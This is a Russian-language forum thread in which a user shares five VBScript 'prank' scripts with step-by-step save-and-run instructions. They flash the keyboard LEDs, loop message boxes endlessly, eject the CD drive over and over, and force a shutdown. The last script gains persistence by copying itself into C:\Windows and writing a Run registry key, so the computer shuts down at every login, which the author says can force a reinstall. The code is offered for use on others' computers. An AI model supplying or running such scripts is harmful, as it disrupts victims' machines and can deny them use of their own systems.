2. Категории
  3. Начало эпохи
  4. Компьютеры и телефоны
  5. Железо
  6. VBS приколы.

VBS приколы.

Авторизация
 
  • Автор
    Возвращение легенды.

    %(green)[Здрасьте.:hello: Я вам расскажу несколько приколов с VBS. Что такое VBS? ]

    Из википедии:

    Visual Basic Scripting Edition (обычно просто VBScript) — скриптовый язык программирования, интерпретируемый компонентом Windows Script Host. Он широко используется при создании скриптов в операционных системах семейства Microsoft Windows.

    От себя:

    Из vbs можно сделать от обычного безобидного прикола до опасного вируса который снесет систему.

    *Первый прикол будет мигать лампочками на клаве (Которые подсвечивают Lock кнопки).
    Создаем файл, форматом "название.vbs".
    Открываем блокнотом, и вставляем туда следующие строки:
    [spoiler=Open.]```
    Set s = CreateObject("Wscript.Shell")
    do
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80

    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80

    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    loop

    [/spoiler]
%(red)[Мигать будет пока не завершится процесс wscript.exe.]
______
%(red)[*]%(green)[Второй прикол будет бесконечно выдавать диалоговое окно с вашей надписью.]
Создаем файл, форматом "название.vbs"
Открываем блокнотом, вписываем:
[spoiler=Open.]```
do 
msgbox "Текст",20,"Заголовок" 
loop

    [/spoiler]
    (Все что стоит после do и до loop - бесконечно.)
    Вместо "20" по середине можно ввести другое число,например 1 и будет только кнопка "ок"

    *Третий прикол будет открывать,закрывать дисковод с не большим интервалом
    Создаем файлик, форматом "название.vbs".
    Открываем блокнотом - вписываем:
    [spoiler=Open.]```
    Set ovladani = CreateObject("WMPlayer.OCX.7" )
    Set mechaniky = ovladani.cdromCollection
    If mechaniky.Count Then
    For i = 0 To mechaniky.Count - 1
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    mechaniky.Item(i).Eject
    Next
    End If

    [/spoiler]
______
%(red)[*]%(green)[Четвертый будет выключать комп.]
Создаем файл, формат "название.vbs".
Открываем блокнотом - вписываем:
[spoiler=Open.]```
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next 
msgbox "Ваш текст, от насмешки до угрозы :): "

    [/spoiler]
    Можно в начало скрипта поставить WScript.Sleep 60000 и комп выключится через минуту.

    *%(green)[Пятый самый опасный,вплоть до переустановки системы. Комп будет выключаться при входе в систему.
    ОБЯЗАТЕЛЬНО НАЗЫВАЕМ 1.vbs!
    ]
    Создаем файл, формат "1.vbs"
    Открываем блокнотом - вписываем:
    [spoiler=Open.]```
    Set FSO=CreateObject("Scripting.FileSystemObject") ' Получаем доступ к обьекту FSO
    FSO.CopyFile "1.vbs", "C:\Windows" 'Копируем второй скрипт из текущей дирeктории на хард юзера
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "C:\Windows\1.vbs"
    Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
    for each OpSys in OpSysSet
    OpSys.ShutDown()
    next
    msgbox "Ваш текст, от насмешки до угрозы :): "

    [/spoiler]

%(blue)[P.S: С vbs можно сделать многое,советую набрать в поиске "приколы vbs" может найдете что нибудь интересное ;)]
    0

  • Скорее всего копипаст :d_old:
    Но спасибо!

    • Под сполер засунь!
    0
  • Автор
    Возвращение легенды.
    **JeQaS1337** 
Скорее всего копипаст :d_old: 
Но спасибо!
+ Под сполер засунь!

    пытался - бесполезно.
    Первые 2 ставятся, остальные не хотят :):

    0

  • Блатной

    **Нормально,нормально нормально. :zlo: :d_old: **

    0
  • Автор
    Возвращение легенды.
    **Шпенат** 
**Нормально,нормально нормально. :zlo: :d_old: **

    thank you :D:

    0
  • Автор
    Возвращение легенды.

    Вверх.

    0
  • Автор
    Возвращение легенды.

    Вниз

    0
Авторизация
 
Последние темы